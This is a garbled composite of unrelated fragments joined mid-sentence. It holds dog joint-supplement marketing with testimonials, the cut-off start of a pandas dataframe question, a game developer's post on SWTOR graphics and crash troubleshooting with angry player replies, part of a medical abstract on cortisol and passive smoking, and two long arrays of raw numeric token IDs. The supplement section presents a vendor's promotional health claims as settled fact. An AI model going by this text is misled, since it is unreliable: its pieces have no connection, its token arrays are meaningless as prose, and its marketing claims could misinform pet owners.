dog’s joint pain is to stop it before it even happens! That’s why every dog parent should be giving their lovable, hyperactive, and adorable fur ball joint supplements throughout their life instead of starting when they are the damage is already done! (Starting as a young pup!) Benefits of Starting Early With every jump, pivot, and sprint your doggo is putting a huge amount of force and torque on their joints, especially in their knees and hip. As this tension is applied to their joints it wears down cartilage which is a connective tissue that surrounds your pup’s joints. It acts as a connector between different bones and plays a crucial role in the joint health of your dog. As time goes on cartilage wears down and the strength that was once in the joint weakens. This can lead to… Arthritis and joint inflammation Extreme pain and discomfort Trouble doing everyday activities In order to best prevent these very negative outcomes, it is best to start building and maintaining your pup’s joints as early as one year old with joint supplements! These are just some of the benefits of starting your pup off on the right paw with joint sups… Strengthen and support healthy joint cartilage and connective tissue Decreased chance of arthritis later on in life Increase joint “cushioning” for hours and hours of pain-free fun! Promotes the formation of collagen to strengthens joints throughout all stages of life We’ve said it once and we will say it again… The best cure for your dog’s joint problems is to stop it before it even happens! What Ingredients to Look for In Joint Supps for Pups There are SO MANY people out there today barking around about the newest “wonder” ingredient. They promise that it will not only help your dog’s joints, but also teach them English, they will be able to fly afterward, and not to mention be the next president. Ok… so maybe that is a little bit of an exaggeration, but our team of dog experts has come together to create the Ultimate Ingredient Checklist to help you find the best joint sup for your pup with ingredients that scientifically work and are safe to use. ✅ Glucosamine Hydrochloride One of the most popular pup hip and joint supplement for dogs out there. This compound aids in decreasing inflammation, strengthening joints, and is a natural way to soothe your pup’s joint pain. Multiple studies show that Glucosamine Hydrochloride is a safe and natural option to support joint health and alleviate pain. ✅ Chondroitin Sulfate Giving your pup pain relief pills only masks the problem and doesn’t fix it. Chondroitin Sulfate will not only alleviate your pup’s pain but help repair the damaged tissue and cartilage causing your pup’s discomfort. It also promotes water retention which aids in shock absorption on your pup’s joints. Let your dog get excited and jump around without pain! ✅ MSM MSM or Methyl-sulfonyl-methane (you can see why we like calling it just MSM) is an organic compound that helps all different ages of pups block pain impulses running through their nerve fibers. It also helps produce more cortisol, a natural anti-inflammatory hormone, to assist in building the structural integrity of connective tissues around your pup’s joints. ✅ Ascorbic Acid (Vitamin C) If your first thoughts when you saw vitamin C was oranges, then join the millions of Americans that thought of the same thing. Did you know that vitamin C actually plays a crucial role in the formation of collagen in your pup’s body? Collagen is the main structural protein that holds your pup’s body and joints together. Weak and little amounts of collagen = sad dog with aching joints. When you are looking for the best joint supplement for dogs make sure that they have these ingredients are in them! They will all help your dog as a young pup, teenage angst phase, adult, and wise old dog stages of life! Our Joint Supplement for Dogs Recommendation Now that you know joint supplements for dogs are not only for when you doggo is already experiencing issues or getting a little more grey hairs, but for all stages of their life, it’s time to buckle down and find the right one for you and your BFF. With the ultimate ingredient checklist in hand and our newfound knowledge, our dog experts found one thing that is wrong with so many joint supplements for dogs out there. They only have one kind of supplement that is supposed to be used for all dogs, no matter the age or current joint condition! Rubbish. That is why here at Pupford we created 4 different stages of joint supplements for dogs that give your dog the specific ingredients they need at every point in their life. With 100% natural ingredients and vet formulated these sups are something you can be proud of giving to your best furry friend. Get more info on them below! Trust us you won’t regret it 🙂 Written by Austin Stephan He’s frequently called, “the Ron Weasley of the Dog World” by Pupford’s wise toothless wiener dog named Carl. Hopefully he calls him that, because he’s loyal, funny, and sometimes brave and not just because he’s the only ginger in the office. Who’s to say. Oh, he also loves creating the best content online about everything dogs and how they can make even the most stubborn mother-in-laws into sweet angels. Now that’s real magic. The proof is in the tail wags. Love Them So Far Our dogs love the flavor, and are always excited when it’s time to take the supplements! We have been using it for a week and can notice a difference in our 12-year-old pup’s coat and ability to run, so happy! Ashley Has Made a Difference! My dog is 110 lbs & 10 years old. He's been limping the last few months- back hips. After just a few days on this Pupford supplement, he is already moving much better, love it! Matt Dog Loves the Taste We got the supplements for our 2-year-old Saint Bernard. He's not having any joint pain yet, but we wanted to get him started early. He loves the taste every time we give them to him. Barrett Winslow is Finally Back to His Old Self Our German Shepherd Winslow is 8 and over the past year was starting to slow down and limp a bit. A few months back we got him these joint supplements and slowly, he's finally getting back to himself. We couldn't be happier with the results! Beth Pups Gobble Them Up Our dogs, who can be picky, gobbled them right up when offered. We train dogs on agility and they work very hard to be accurate in running, cornering, etc, so this joint supplement will do well to keep them up and moving. Al Get The Pupford News! You’ll get exclusive deals, dog tips, new product updates, plus so much more. It’ll be pawtastic!Q: Counting rows back and forth based on time column I have a dataframe with user ids and two different times. time1 is the same for one user, but time2 is different. test = pd.DataFrame({ 'id': [1,1,1,1,1,1,1,1,1,1,2,2,2,2,2], 'time1': ['2018-11-01 21:19:32', '2018-11-01 21:19:32', '2018-11-01 21:19:32','2018-11-01 21:19:32','2018
[ 6067, 14542, 4610, 403, 4855, 1227, 11578, 15, 844, 403, 7219, 271, 3081, 4758, 323, 1894, 38276, 13, 8003, 281, 253, 3290, 2326, 275, 15573, 24674, 13451, 13, 534, 310, 762, 2440, 987, 1024, 15, 187, 187, 36382, 14, 8952, 2355, 310, 581, 273, 776, 625, 985, 14, 9292, 272, 3386, 13, 285, 359, 513, 417, 5583, 970, 352, 672, 3515, 247, 3492, 3120, 342, 1679, 685, 337, 6920, 273, 3541, 15, 16600, 275, 2564, 326, 253, 2802, 24159, 2105, 457, 310, 3687, 387, 2169, 30285, 15, 187, 187, 8497, 27, 3270, 14, 8952, 2355, 310, 20220, 13603, 323, 26035, 10447, 361, 2962, 8364, 13, 1955, 281, 5460, 29886, 24165, 15, 844, 403, 2444, 342, 26035, 281, 11322, 436, 7505, 13, 285, 359, 588, 294, 14, 14760, 253, 4500, 323, 253, 10447, 361, 2962, 347, 3517, 347, 1896, 15, 187, 187, 8924, 16135, 14396, 457, 310, 752, 359, 3730, 281, 347, 2802, 16135, 14396, 11855, 4438, 15385, 831, 4500, 4245, 368, 253, 1682, 3665, 14, 4427, 273, 253, 1264, 13, 533, 352, 3249, 342, 247, 5454, 14, 2727, 273, 1907, 281, 294, 44103, 253, 3148, 604, 368, 10334, 1977, 432, 253, 2165, 285, 896, 15, 187, 187, 8924, 16135, 14396, 313, 13686, 264, 10, 457, 310, 1663, 816, 247, 5680, 1417, 3497, 326, 33902, 281, 7522, 634, 3601, 15, 1422, 7168, 562, 327, 253, 4512, 3045, 6351, 273, 2802, 16135, 14396, 16236, 533, 368, 476, 1024, 10334, 896, 281, 253, 2086, 22595, 13102, 15, 187, 187, 8924, 12205, 264, 457, 310, 347, 15246, 347, 368, 1537, 1902, 15, 1310, 368, 1928, 326, 368, 457, 306, 12759, 253, 1682, 3665, 14, 4427, 562, 273, 436, 4758, 13, 1978, 275, 2564, 326, 352, 512, 3249, 896, 281, 849, 1199, 6064, 368, 403, 5480, 281, 17789, 15, 187, 187, 44831, 946, 13, 8521, 946, 285, 3045, 187, 187, 4756, 6307, 818, 187, 187, 4756, 2127, 818, 310, 776, 1039, 273, 9610, 247, 2165, 31850, 4433, 1108, 9093, 13, 253, 2165, 4242, 281, 1408, 15, 1707, 556, 644, 690, 22898, 670, 436, 3935, 1146, 247, 2802, 15353, 457, 14589, 3773, 1754, 327, 616, 985, 13, 533, 326, 310, 417, 3240, 7899, 15, 3856, 403, 690, 9534, 326, 588, 906, 275, 271, 2228, 2127, 818, 27, 187, 187, 36840, 4302, 326, 651, 2847, 271, 440, 1993, 494, 10076, 15, 1916, 320, 625, 2173, 13, 359, 2430, 322, 2354, 20, 13, 5611, 275, 3563, 6157, 15, 187, 187, 36840, 28449, 6074, 15, 25360, 1873, 313, 2003, 273, 253, 13710, 22726, 5268, 481, 187, 187, 31146, 281, 2794, 247, 14513, 20, 37, 2813, 1108, 3798, 4269, 407, 271, 12125, 390, 36761, 15896, 3120, 6254, 15, 187, 187, 8497, 326, 436, 2803, 310, 417, 2905, 281, 985, 5162, 13789, 13, 533, 2581, 7936, 985, 10336, 313, 70, 15, 72, 15, 247, 4332, 2036, 3305, 12874, 1537, 320, 2104, 281, 1408, 13710, 22726, 1223, 247, 6157, 15439, 12874, 1537, 417, 481, 187, 187, 2042, 368, 457, 250, 6883, 2228, 2127, 818, 13, 533, 634, 985, 943, 320, 598, 281, 253, 4836, 273, 3515, 13710, 22726, 13, 4496, 3057, 441, 949, 27488, 6631, 342, 253, 4579, 6809, 1282, 15956, 4756, 6307, 818, 8924, 15, 844, 452, 5611, 3081, 20893, 275, 12097, 337, 15, 18, 15, 17, 326, 476, 1361, 441, 33901, 285, 45661, 253, 2603, 273, 4433, 15, 187, 187, 20357, 401, 3299, 275, 253, 7771, 1507, 13, 2137, 91, 2487, 285, 11090, 360, 187, 187, 1231, 457, 250, 1077, 6600, 273, 253, 3665, 14, 4427, 11961, 326, 1014, 1755, 14, 1439, 348, 2718, 2793, 275, 841, 30355, 15216, 15, 844, 457, 306, 2668, 5593, 281, 1453, 253, 4583, 3486, 326, 1894, 14, 37893, 15216, 476, 452, 327, 985, 3045, 13, 533, 627, 310, 1900, 625, 359, 476, 513, 15, 844, 403, 11485, 15686, 285, 39793, 13, 285, 359, 403, 275, 253, 1232, 273, 2403, 2544, 281, 253, 7771, 1507, 326, 452, 18670, 20714, 690, 7756, 15, 187, 187, 6080, 273, 368, 452, 8042, 562, 326, 634, 24720, 310, 417, 1146, 4751, 12845, 672, 275, 841, 3510, 273, 9534, 28, 359, 452, 1119, 326, 1894, 14, 37893, 9534, 751, 841, 403, 3798, 3710, 407, 253, 12874, 13, 417, 407, 18164, 13, 594, 436, 2789, 3282, 15, 187, 187, 8665, 2544, 368, 476, 1056, 326, 588, 1361, 3157, 3045, 27, 187, 187, 1231, 457, 306, 1239, 326, 690, 6109, 15896, 8364, 1537, 417, 20420, 873, 616, 3045, 6222, 672, 3515, 13710, 22726, 15, 1422, 476, 3451, 436, 407, 1469, 281, 634, 15896, 1453, 5370, 285, 13542, 4758, 598, 247, 6222, 15, 187, 187, 6744, 13623, 7464, 329, 2771, 476, 671, 3157, 3045, 5777, 15, 187, 187, 1898, 13, 273, 2282, 13, 40806, 1066, 4114, 5659, 476, 760, 1361, 15, 187, 187, 8975, 29212, 187, 187, 6067, 941, 2296, 326, 13, 672, 4080, 347, 271, 3388, 2439, 512, 3773, 13, 29212, 1309, 13710, 22726, 30355, 403, 4942, 7520, 15, 2064, 1146, 753, 13, 627, 1537, 320, 690, 4212, 326, 452, 253, 3962, 9902, 273, 10309, 13, 7533, 390, 4712, 326, 46554, 6015, 29212, 275, 247, 1039, 326, 359, 476, 18236, 33901, 285, 4993, 15, 1310, 368, 2793, 5185, 29212, 13, 390, 604, 368, 871, 273, 247, 12724, 41374, 581, 13, 4496, 1379, 247, 4143, 281, 436, 6293, 285, 1501, 634, 1491, 627, 1108, 359, 457, 250, 1900, 2819, 323, 625, 3374, 751, 436, 281, 4993, 13, 285, 3629, 13710, 22726, 7882, 588, 1900, 320, 247, 1755, 11674, 323, 776, 2285, 15, 187, 187, 1231, 4102, 4840, 2961, 326, 359, 4229, 247, 3665, 14, 4427, 11961, 1895, 326, 5866, 672, 20586, 497, 327, 2802, 12412, 457, 28, 436, 4993, 671, 10260, 2559, 7882, 327, 4567, 14, 2713, 2718, 15, 187, 187, 7761, 20101, 187, 187, 2042, 634, 985, 12724, 6294, 84, 1066, 34065, 13, 4496, 564, 281, 436, 6293, 285, 1501, 634, 1491, 15, 3808, 273, 368, 452, 2168, 2218, 436, 13, 285, 634, 9319, 452, 644, 6685, 9371, 15, 844, 457, 306, 5867, 512, 253, 1491, 368, 457, 306, 2530, 594, 2080, 13, 285, 436, 310, 752, 359, 476, 1333, 2866, 187, 187, 13753, 22726, 556, 253, 5350, 281, 11306, 16584, 634, 985, 15, 1310, 368, 403, 3515, 253, 2165, 342, 1029, 15896, 7533, 13, 436, 310, 3340, 2032, 15, 4155, 32138, 390, 16273, 19103, 326, 1537, 417, 320, 8943, 672, 2654, 1981, 390, 4882, 643, 3958, 812, 6830, 320, 7329, 672, 368, 403, 3515, 13710, 22726, 13, 3340, 275, 9506, 326, 1691, 4465, 3473, 327, 634, 985, 313, 10201, 49, 13, 27037, 13, 3966, 2698, 1916, 1416, 247, 1643, 1841, 368, 943, 1007, 562, 323, 27, 187, 187, 38, 2224, 459, 326, 634, 1612, 6186, 310, 417, 11741, 285, 326, 352, 13191, 2217, 14709, 281, 1612, 634, 985, 15, 187, 187, 2214, 3276, 15711, 13, 352, 457, 84, 671, 4409, 12669, 326, 253, 1612, 6186, 7989, 310, 2444, 6283, 15, 5220, 5416, 326, 634, 5578, 1083, 310, 6283, 5698, 31718, 285, 634, 2329, 5449, 310, 440, 706, 2855, 264, 15, 187, 187, 38, 2224, 459, 326, 634, 5578, 310, 4076, 285, 634, 985, 310, 417, 43848, 2400, 342, 8660, 285, 17819, 15, 187, 187, 1231, 5583, 3192, 4569, 39933, 313, 2163, 27305, 285, 12356, 10, 604, 368, 403, 689, 13273, 272, 634, 10309, 15, 3824, 7535, 310, 281, 11901, 1841, 896, 281, 253, 11662, 457, 84, 8521, 7533, 1919, 634, 985, 20101, 403, 11512, 15, 187, 187, 22036, 27981, 561, 403, 8653, 672, 7464, 25767, 247, 4619, 2228, 15, 9717, 641, 273, 436, 3753, 403, 3798, 10309, 390, 6254, 2905, 15, 187, 187, 1231, 457, 306, 2530, 690, 1491, 1060, 275, 253, 9404, 25278, 670, 4088, 281, 6891, 1066, 285, 4271, 253, 5230, 2847, 273, 247, 1677, 2228, 15, 7464, 14280, 281, 2412, 436, 1491, 13, 285, 1110, 20131, 403, 247, 1175, 1127, 281, 3135, 271, 5839, 15, 187, 187, 2214, 1046, 4143, 368, 457, 306, 1160, 281, 253, 1198, 7640, 281, 1501, 3989, 1242, 390, 4151, 441, 273, 271, 2523, 1108, 5717, 368, 15, 5402, 49183, 12558, 3544, 1361, 441, 313, 9154, 604, 368, 513, 7740, 281, 897, 15695, 6731, 14610, 4536, 4672, 10, 285, 359, 3524, 368, 457, 620, 4035, 281, 789, 342, 441, 281, 1056, 13710, 22726, 1270, 15, 187, 187, 13904, 313, 19, 16, 24, 16, 805, 2262, 831, 1501, 556, 644, 598, 323, 689, 247, 2129, 285, 359, 403, 1024, 1469, 281, 440, 19982, 90, 352, 275, 271, 3434, 281, 2944, 12216, 253, 9404, 24703, 434, 2022, 3239, 15, 187, 187, 2347, 670, 2403, 2119, 326, 253, 2165, 2506, 626, 4336, 3523, 18164, 672, 48484, 941, 432, 253, 7592, 11556, 390, 15231, 4367, 32, 1244, 6240, 690, 3686, 273, 4500, 281, 2406, 36775, 3290, 15, 2064, 651, 1056, 619, 2165, 1408, 1293, 3665, 15323, 15, 187, 187, 1147, 1663, 35058, 326, 309, 476, 452, 9199, 269, 793, 342, 15323, 281, 5571, 14, 1438, 275, 247, 2173, 2170, 13, 533, 672, 17690, 657, 14, 27902, 309, 755, 751, 9135, 15, 24, 269, 793, 342, 15323, 281, 2030, 14, 1229, 275, 253, 1077, 1072, 2170, 15, 309, 1158, 326, 434, 634, 1895, 987, 627, 13, 285, 812, 2085, 271, 8813, 281, 2139, 352, 11852, 16907, 8931, 8132, 84, 1077, 13359, 15, 187, 187, 8061, 323, 253, 411, 2415, 627, 1474, 13, 533, 627, 3548, 626, 2712, 275, 627, 326, 7729, 15, 309, 452, 247, 3965, 14, 12311, 985, 285, 1014, 3515, 3253, 327, 418, 4290, 285, 14212, 89, 10487, 309, 1335, 755, 2014, 14, 36435, 401, 3299, 327, 11090, 360, 15, 5220, 411, 59, 285, 32521, 331, 307, 1336, 387, 1458, 14, 938, 71, 793, 313, 255, 1878, 18500, 310, 417, 247, 11757, 8232, 10, 187, 187, 22242, 327, 1698, 285, 18471, 89, 43201, 428, 11090, 360, 310, 2014, 14, 36435, 401, 3299, 187, 22242, 327, 1698, 285, 14212, 89, 10487, 428, 11090, 360, 310, 2014, 14, 36435, 401, 3299, 187, 187, 19234, 310, 3430, 342, 634, 2165, 3711, 2216, 16, 8780, 16, 15179, 985, 10393, 15, 309, 476, 1132, 40542, 20, 13, 16194, 3428, 13, 285, 1142, 643, 353, 6329, 84, 327, 6571, 1029, 7533, 313, 2446, 708, 1608, 16044, 327, 10, 2568, 308, 1372, 26280, 619, 985, 15, 187, 187, 12550, 3948, 310, 8342, 23550, 13, 816, 3981, 15, 285, 594, 403, 634, 346, 24787, 273, 3694, 19414, 3, 285, 634, 9404, 15, 187, 187, 9707, 18896, 1843, 15135, 4037, 7400, 4110, 12226, 47897, 2637, 4915, 8702, 28885, 4290, 9818, 15, 187, 187, 33711, 27, 187, 187, 6080, 273, 368, 452, 8042, 562, 326, 634, 24720, 310, 417, 1146, 4751, 12845, 672, 275, 841, 3510, 273, 9534, 28, 359, 452, 1119, 326, 1894, 14, 37893, 9534, 751, 841, 403, 3798, 3710, 407, 253, 12874, 13, 417, 407, 18164, 13, 594, 436, 2789, 3282, 15, 187, 187, 3113, 436, 6197, 368, 1849, 816, 8176, 326, 368, 27786, 670, 253, 985, 6095, 273, 436, 2165, 15, 752, 247, 12874, 513, 359, 452, 281, 1211, 281, 1408, 436, 2165, 25863, 32, 1308, 67, 6789, 619, 18228, 277, 14735, 2, 187, 187, 510, 7234, 285, 11626, 4469, 327, 841, 14248, 403, 12718, 1110, 273, 616, 9056, 4477, 285, 513, 417, 7933, 4887, 253, 6849, 13, 4543, 403, 597, 30020, 407, 6943, 319, 609, 13, 22838, 11796, 84, 13, 285, 697, 8374, 32541, 513, 417, 12215, 253, 7200, 273, 13, 285, 403, 275, 642, 1039, 5506, 323, 667, 2600, 327, 841, 14248, 15, 187, 187, 510, 7234, 285, 11626, 4469, 327, 841, 14248, 403, 12718, 1110, 273, 616, 9056, 4477, 285, 513, 417, 7933, 4887, 253, 6849, 13, 4543, 403, 597, 30020, 407, 6943, 319, 609, 13, 22838, 11796, 84, 13, 285, 697, 8374, 32541, 513, 417, 12215, 253, 7200, 273, 13, 285, 403, 275, 642, 1039, 5506, 323, 667, 2600, 327, 841, 14248, 15, 60, 29143, 275, 253, 2308, 273, 21318, 41, 285, 32996, 846, 16864, 5445, 281, 19555, 11283, 275, 26934, 285, 1327, 14, 3610, 20972, 1570, 187, 3493, 5614, 21318, 41, 285, 32996, 2308, 497, 5421, 275, 26934, 285, 1327, 26934, 13, 313, 36330, 390, 417, 281, 11283, 273, 253, 3126, 582, 846, 16864, 5445, 281, 19555, 10470, 15, 8758, 26934, 13, 3798, 417, 7329, 281, 11283, 13, 921, 247, 6054, 275, 1097, 23884, 13, 5727, 26934, 285, 1327, 26934, 7744, 7329, 281, 11283, 1053, 626, 921, 667, 1818, 275, 21318, 41, 285, 32996, 2308, 15, 2053, 941, 1804, 326, 31788, 6993, 347, 271, 7928, 15199, 327, 253, 3500, 2689, 1493, 14, 31211, 267, 7844, 1014, 1509 ]	Our texture options are High / Low. We are planning an additional setting for character textures, closer to the quality seen in cinematic scenes, which is under development right now. Anti-aliasing is one of our more system-taxing features, and we do not recommend using it when running a video card with less than 1GB of memory. Keep in mind that the ‘performance cost’ is greater at higher resolutions. Note: anti-aliasing is temporarily disabled for AMD 6900 series cards, due to severe graphical artifacts. We are working with AMD to resolve this bug, and we will re-enable the option for the 6900 series as soon as possible. ‘Fullscreen’ is what we refer to as ‘Fullscreen exclusive mode’. This option gives you the best frame-rate of the three, but it comes with a trade-off of having to reinitialize the display if you tab away from the game and back. ‘Fullscreen (windowed)’ is really just a borderless window that stretches to fill your screen. You lose out on the slight performance gain of ‘Fullscreen’, but you can now tab back to the program seamlessly. ‘Windowed’ is as straightforward as you might expect. If you feel that you’ve gotten the best frame-rate out of this setting, keep in mind that it all comes back to how much resolution you are prepared to sacrifice. Minimum spec, recommended spec and performance Error Code 7 Error code 7 is our way of reporting a game initialization failure – essentially, the game failed to run. There has been some speculation about this message being a ‘gate’ blocking players based on their system, but that is not quite accurate. Here are some situations that will result in an error code 7: Missing technology that would cause an unplayable scenario. To be more specific, we require SSE3, introduced in late 2004. Missing PlatformInfo.dll file (part of the SWTOR client). Failure to create a Direct3D device – usually caused by an absent or outdated graphics card driver. Note that this factor is not related to system processing capabilities, but rather fundamental system architecture (e.g. a 2011 netbook CPU might be able to run SWTOR while a 2004 desktop CPU might not). If you’re receiving error code 7, but your system should be up to the task of running SWTOR, please contact us through Customer Service with the email tagline ’Error Code 7‘. We have introduced additional logging in patch 1.1.0 that can help us diagnose and pinpoint the source of failure. Low FPS in the fleets, warzones and Ilum We’re very aware of the frame-rate degradation that even top-notch systems experience in these gameplay scenarios. We’ve taken measures to control the overall impact that character-heavy scenarios can have on system performance, but there is always more we can do. We are constantly investigating and optimizing, and we are in the process of making changes to the fleets that have hopefully yielded some improvement. Some of you have pointed out that your GPU is not being fully utilized when in these types of situations; we have found that character-heavy situations like these are usually limited by the CPU, not by rendering, so this makes sense. Other changes you can make that will help improve performance: We’ve read that some mobile graphics cards might not appropriately set their performance profile when running SWTOR. You can correct this by going to your graphics control panel and manually setting up a profile. Disabling Windows Aero can also improve performance slightly. And, of course, shutting down background programs can only help. Client crashes Our data says that, when measured as an average across all players, crashes during SWTOR gameplay are relatively rare. That being said, there might be some users that have the perfect storm of hardware, settings or activities that provoke repeated crashes in a way that we can practically diagnose and fix. If you experience consistent crashes, or if you know of a consistently reproducible one, please take a visit to this thread and post your information there – we’re always looking for more issues like this to fix, and increasing SWTOR stability will always be a top priority for our team. We recently messaged that we fixed a frame-rate degradation problem that occurred when shadows were on ‘High’; this fix also greatly increased stability on 32-bit systems. System failures If your system consistently shuts down unexpectedly, please go to this thread and post your information. Some of you have already done this, and your posts have been extremely helpful. We’ve analyzed all the information you’ve provided so far, and this is what we can say… SWTOR has the capacity to heavily utilize your system. If you are running the game with high graphics settings, this is especially true. System flaws or inadequacies that might not be evident when idling or playing other games could possibly be exposed when you are running SWTOR, especially in moments that put extra pressure on your system (PVP, Operations, etc.) To name a few things you should look out for: Ensure that your power supply is not failing and that it supplies enough juice to power your system. For temperature considerations, it’s also worth checking that the power supply fan is working properly. Also ensure that your PC case is properly ventilated and your airflow is unobstructed. Ensure that your PC is clean and your system is not clogged with dust and dirt. We recommend taking appropriate precautions (monitoring and cooling) if you are overclocking your hardware. Our advice is to dial things back to the manufacturer’s recommended settings until your system failures are resolved. Blue Screens are displayed when Windows encounters a critical error. Errors of this nature are usually hardware or driver related. We’ve provided some information here in the CS forums about ways to narrow down and identify the root cause of a given error. Windows tends to log this information, and those logs are a good point to begin an investigation. For every visit you’ve made to the Forums to post constructively or inform us of an issue – thank you. Your DXDiags help us (even if you do forget to use spoiler tags sometimes!!) and we hope you’ll continue to work with us to make SWTOR great. Edit (2/7/12): This post has been up for over a week and we are now going to unsticky it in an effort to declutter the CS Forum's main page. How about making sure that the game doesn't completely stop rendering when retrieving data from the disk cache or asset files? And adding some sort of option to lower FX quality. That would make my game run without frame drops. It really sucks that I can have 110 fps with drops to 70-80 in a specific area, but when enabling V-Sync I get like 58.7 fps with drops to 25-30 in the very same area. I think that's your problem right there, and could provide an explanation to why it affects seemingly identical rigs very differently. Thanks for the WOT there dev, but there isn't anything in there that helps. I have a pretty-good system and even running everything on LOW and 800x600 I still get single-digit FPS on Ilum. Also WZ and Fleet stutters at 15-20fps (at least fleet is not a combat zone) Everything on low and 1920x1080 - Ilum is single-digit FPS Everything on low and 800x600 - Ilum is single-digit FPS Something is wrong with your game map design/client/engine system usage. I can play BF3, Skyrim, and many other MMOs on mostly high settings (AA & Shadows on) yet TOR kills my system. your engine is plain crap, just saying. and so are your "tons of software engineers" and your CS. THE WHOLE COMMUNITY IS LAUGHING AT YOU BIOWARE. Quote: Some of you have pointed out that your GPU is not being fully utilized when in these types of situations; we have found that character-heavy situations like these are usually limited by the CPU, not by rendering, so this makes sense. with this sentence you've just admitted that you lied about the system requirements of this game. what a CPU do we have to own to run this game smoothly? brb calling my NASA dudes! The statements and opinions expressed on these websites are solely those of their respective authors and do not necessarily reflect the views, nor are they endorsed by Bioware, LucasArts, and its licensors do not guarantee the accuracy of, and are in no way responsible for any content on these websites. The statements and opinions expressed on these websites are solely those of their respective authors and do not necessarily reflect the views, nor are they endorsed by Bioware, LucasArts, and its licensors do not guarantee the accuracy of, and are in no way responsible for any content on these websites.[Changes in the levels of ACTH and cortisol after passive exposure to cigarette smoke in smokers and non-smokers]. Plasma ACTH and cortisol levels were studied in smokers and non smokers, (exposed or not to smoke of the environment), after passive exposure to cigarette smoking. Non smokers, usually not exposed to smoke, show a rise in both hormones, whereas smokers and non smokers commonly exposed to smoke don't show any change in ACTH and cortisol levels. These data suggest that nicotine acts as an acute stimulus on the hypophysis-adrenal axis even pass
[ 6424, 29892, 281, 7471, 27050, 13, 2223, 9222, 14, 4826, 8914, 13, 285, 1110, 8914, 403, 840, 924, 18050, 1070, 715, 8987, 937, 31235, 1342, 369, 15212, 347, 7746, 16817, 275, 5003, 18089, 15, 346, 510, 9099, 273, 326, 924, 37706, 476, 320, 2326, 1046, 1388, 275, 253, 29803, 534, 1379, 1659, 6420, 273, 253, 5680, 449, 187, 187, 48273, 457, 84, 10158, 4214, 1390, 1770, 4439, 9990, 4645, 326, 4829, 2456, 13, 933, 952, 574, 4962, 275, 2854, 14, 4919, 7217, 1580, 16234, 3918, 17918, 5495, 47660, 3876, 1925, 562, 253, 8663, 281, 11757, 253, 2854, 7281, 1241, 2620, 1107, 3622, 15, 187, 187, 510, 1503, 292, 284, 13, 8987, 457, 84, 1273, 954, 14, 9177, 1020, 41815, 6003, 13, 403, 2190, 253, 954, 12338, 5014, 275, 253, 2854, 2137, 15, 4794, 281, 24197, 13, 253, 1387, 19142, 8663, 711, 254, 1336, 665, 2378, 497, 6616, 323, 253, 18351, 16619, 293, 15, 187, 187, 688, 247, 2905, 2440, 13, 380, 8742, 9757, 7717, 2361, 11066, 326, 16234, 9061, 574, 9833, 7924, 18089, 38295, 2398, 579, 4786, 13, 665, 310, 10145, 347, 271, 546, 1542, 1209, 323, 253, 322, 989, 12354, 16619, 293, 13, 8987, 457, 84, 954, 6422, 13, 285, 665, 14163, 717, 39479, 8914, 762, 253, 1982, 2208, 457, 84, 4242, 4828, 14, 3610, 37706, 5654, 4254, 1925, 20715, 285, 401, 21310, 15, 60, 15131, 273, 36441, 842, 14, 47357, 273, 8424, 894, 2803, 8092, 327, 4640, 317, 484, 27206, 5802, 2544, 273, 1385, 285, 372, 28859, 1427, 273, 31967, 20971, 1341, 275, 253, 1980, 2919, 275, 7600, 1570, 187, 1992, 10018, 253, 3960, 569, 273, 1980, 20971, 1341, 313, 46, 6072, 10, 275, 253, 1180, 285, 5164, 4712, 846, 4640, 317, 484, 27206, 313, 25716, 10, 285, 8829, 273, 8424, 894, 2803, 313, 8683, 39, 10, 8092, 715, 346, 1231, 763, 86, 3, 313, 5993, 3127, 10, 285, 346, 59, 316, 266, 965, 3, 313, 1267, 5540, 10, 275, 7600, 15, 28270, 411, 43418, 7600, 497, 12421, 7922, 281, 2622, 13, 28545, 13, 285, 28545, 559, 322, 7386, 8092, 8829, 313, 25716, 14, 2925, 42, 10, 2390, 313, 79, 30, 740, 481, 28545, 369, 3732, 281, 253, 1669, 346, 1231, 763, 86, 31770, 5993, 3127, 10, 285, 346, 59, 316, 266, 965, 3, 313, 1267, 5540, 10, 323, 2030, 1054, 15, 1198, 7600, 273, 28545, 12, 46910, 1387, 13, 8717, 39, 14, 2925, 313, 18, 27, 1518, 13, 470, 15, 18, 14141, 10, 369, 2975, 13945, 715, 13242, 3127, 285, 3915, 5540, 13, 1563, 407, 28545, 15, 380, 7944, 1475, 253, 767, 36441, 842, 84, 3672, 497, 19958, 281, 320, 13968, 342, 27802, 36992, 24153, 511, 313, 34, 348, 38, 10, 285, 281, 7675, 13196, 4797, 313, 18269, 582, 2975, 15, 380, 9372, 285, 372, 28859, 1427, 4313, 273, 14789, 84, 275, 253, 36441, 842, 2919, 497, 5950, 285, 2540, 762, 17199, 15, 496, 5301, 342, 253, 2622, 1387, 13, 353, 6072, 1385, 369, 2559, 3012, 275, 253, 28545, 273, 346, 1231, 763, 86, 3, 313, 5993, 3127, 10, 1387, 313, 49, 654, 470, 15, 1762, 582, 38920, 275, 253, 28545, 273, 346, 59, 316, 266, 965, 3, 313, 1267, 5540, 10, 1387, 313, 49, 2239, 470, 15, 1762, 582, 285, 34122, 15455, 275, 1097, 28545, 14, 2925, 42, 14, 5993, 3127, 285, 28545, 14, 2925, 42, 14, 1267, 5540, 2390, 313, 49, 654, 470, 15, 1762, 10, 964, 20901, 342, 253, 2622, 1387, 13, 253, 372, 28859, 1427, 4313, 273, 353, 6072, 369, 2559, 3012, 275, 28545, 14, 5993, 3127, 13, 28545, 14, 1267, 5540, 13, 28545, 14, 2925, 42, 14, 5993, 3127, 285, 28545, 14, 2925, 42, 14, 1267, 5540, 2390, 313, 49, 654, 470, 15, 22, 481, 1621, 1534, 3910, 497, 1119, 875, 28545, 14, 5993, 3127, 285, 28545, 14, 2925, 42, 14, 5993, 3127, 2390, 13, 285, 875, 28545, 14, 1267, 5540, 285, 28545, 14, 2925, 42, 14, 1267, 5540, 2390, 275, 253, 372, 28859, 1427, 11878, 313, 49, 2239, 470, 15, 1762, 481, 11629, 8829, 273, 322, 7386, 8092, 275, 13242, 3127, 285, 3915, 5540, 476, 3012, 10476, 28545, 14, 6367, 2572, 273, 253, 1180, 285, 372, 28859, 1427, 4313, 273, 1980, 31967, 353, 6072, 275, 7600, 13, 7738, 326, 322, 7386, 310, 271, 1774, 2803, 13567, 253, 2425, 285, 16510, 273, 353, 6072, 1475, 253, 36441, 842, 1309, 28545, 15, 19008, 5860, 556, 387, 2069, 516, 15281, 34334, 434, 11996, 35932, 4453, 187, 187, 24441, 1196, 12951, 24157, 13, 11087, 13, 753, 344, 1119, 253, 13723, 90, 20731, 14, 10306, 7512, 387, 521, 1728, 285, 1869, 352, 369, 247, 7520, 5406, 273, 34334, 42501, 347, 247, 